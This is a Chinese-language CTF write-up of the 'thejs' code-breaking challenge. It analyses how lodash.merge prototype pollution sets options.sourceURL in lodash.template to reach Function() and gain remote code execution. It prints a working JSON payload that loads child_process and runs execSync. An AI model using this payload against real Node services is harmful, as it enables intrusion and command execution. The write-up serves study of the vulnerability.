环境搭建
https://github.com/phith0n/code-breaking/tree/master/2018/thejs
部署Docker环境,直接运行报错,提示node版本太老,因此换成node:16-alpine

漏洞分析
代码分析
后端主要代码server.js:
使用了 express 框架搭建了一个 Web 应用,整合了会话管理、模板引擎、自定义表单处理和静态资源托管功能。下面逐步解释其作用和逻辑:
所用模块
const fs = require('fs') // 读写文件系统
const express = require('express') // Web 框架
const bodyParser = require('body-parser') // 处理 POST 请求体
const lodash = require('lodash') // 提供对象合并、模板处理等功能
const session = require('express-session')// session 中间件
const randomize = require('randomatic') // 随机字符串生成(用于 session 密钥)
应用初始化
const app = express()
中间件设置
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json())
- 解析
application/x-www-form-urlencoded和application/json的请求体,供req.body使用。
app.use('/static', express.static('static'))
- 映射静态资源目录
/static到./static文件夹。
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16), // 生成 16 位的随机密钥(包含字母和数字)
resave: false, // 若 session 没变不强制保存
saveUninitialized: false // 不保存未初始化的 session
}))
- 配置
express-session,用于保存用户 session 数据。
自定义模板引擎
app.engine('ejs', function (filePath, options, callback) {
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content) // 使用 lodash 处理模板
let rendered = compiled({ ...options }) // 渲染模板并传入变量
return callback(null, rendered)
})
})
- 实现了基于
lodash.template的简易版 EJS 模板引擎(EJS 文件其实是 lodash 语法)。 - 这段代码实现了
res.render('xxx', options)时如何处理.ejs文件。
app.set('views', './views') // 视图文件夹路径
app.set('view engine', 'ejs') // 使用自定义的 'ejs' 引擎
路由逻辑处理
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
- 无论 GET 还是 POST 请求,都会执行此函数。
- 使用
req.session.data保留用户提交的数据(语言和分类),如果没有就初始化为空数组。
if (req.method == 'POST') {
data = lodash.merge(data, req.body) // 合并 POST 数据
req.session.data = data // 更新 session
}
- 若是 POST 请求,将表单数据合并进
data并保存进 session 中。
res.render('index', {
language: data.language,
category: data.category
})
- 渲染
views/index.ejs模板,传入language和category数据。
启动服务器
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
- 在本地 3000 端口启动应用。
总结功能
这个服务是一个支持多次提交的表单应用,表单数据会存储在 session 中,支持:
- 会话级别数据保存
- EJS 模板渲染
- 静态资源加载(
/static) - 使用
lodash自定义模板处理 - 自动处理 JSON 和表单数据提交
原型链分析
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
lodash.template一个简单的模板引擎lodash.merge函数或对象的合并
merge就是复制赋值,存在原型链污染漏洞,但是污染的内容需要进一步分析
再看下lodash.template的代码: https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
- 如果options中存在sourceURL,则取
'//# sourceURL=' + options.sourceURL + '\n'
这里简单看下//#的作用
虽然以 // 开头,但它是一个特殊的指令(pragma),用于为动态创建的代码(如 eval、new Function 或内联脚本)指定一个虚拟的源文件名,方便调试时显示正确的文件名(例如在 DevTools 中)
// 1. 动态创建一段代码字符串
const code = `
//# sourceURL=dynamic-demo.js
console.log('这段代码的“文件名”会变成 dynamic-demo.js');
debugger; // 这里会断住,注意左侧 Sources 面板的文件名
`;
// 2. 用 eval 执行这段字符串
eval(code);

- Function()是一个内置的构造函数,用来在运行时动态地生成一个新的函数对象。 函数体以字符串形式传入
简单来看就是这样:
const add = new Function('a', 'b', 'return a + b');
console.log(add(2, 3)); // 5
综上,得出结论,如果可以给options.sourceURL赋值,且值为执行命令的字符串代码,就可以实现RCE
漏洞测试
构建payload:
{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}
//内部代码
return e => {
for (var a in {} ) {
delete Object.prototype[a] //清楚所有继承属性
}
return global.process.mainModule.constructor._load('child_process').execSync('dir')
}
- ES6 箭头函数语法,它的意思是:返回一个函数,这个函数接收参数
e,当然这个参数也可以是函数
return e => {
// 函数体
}
//等同于
return function(e) {
// 函数体
}
-
for (var a in {})遍历空对象的原型链上所有属性(即Object.prototype上的) -
delete Object.prototype[a]:尝试删除所有原型属性(清除污染) -
process是全局对象,任何地方都能访问;mainModule是入口模块(比如你运行的app.js);mainModule.constructor是Module本体;Module._load()是 Node 内部加载模块的真实方法;相当于手动实现了一次
require()- Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替
发包测试:

注意:Content-Type:/application/json,不然__proto__不会被识别为键值而是字符串
- Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替
发包测试:
[外链图片转存中…(img-jyovN2bj-1752943778646)]
注意:Content-Type:/application/json,不然__proto__不会被识别为键值而是字符串

被折叠的 条评论
为什么被折叠?



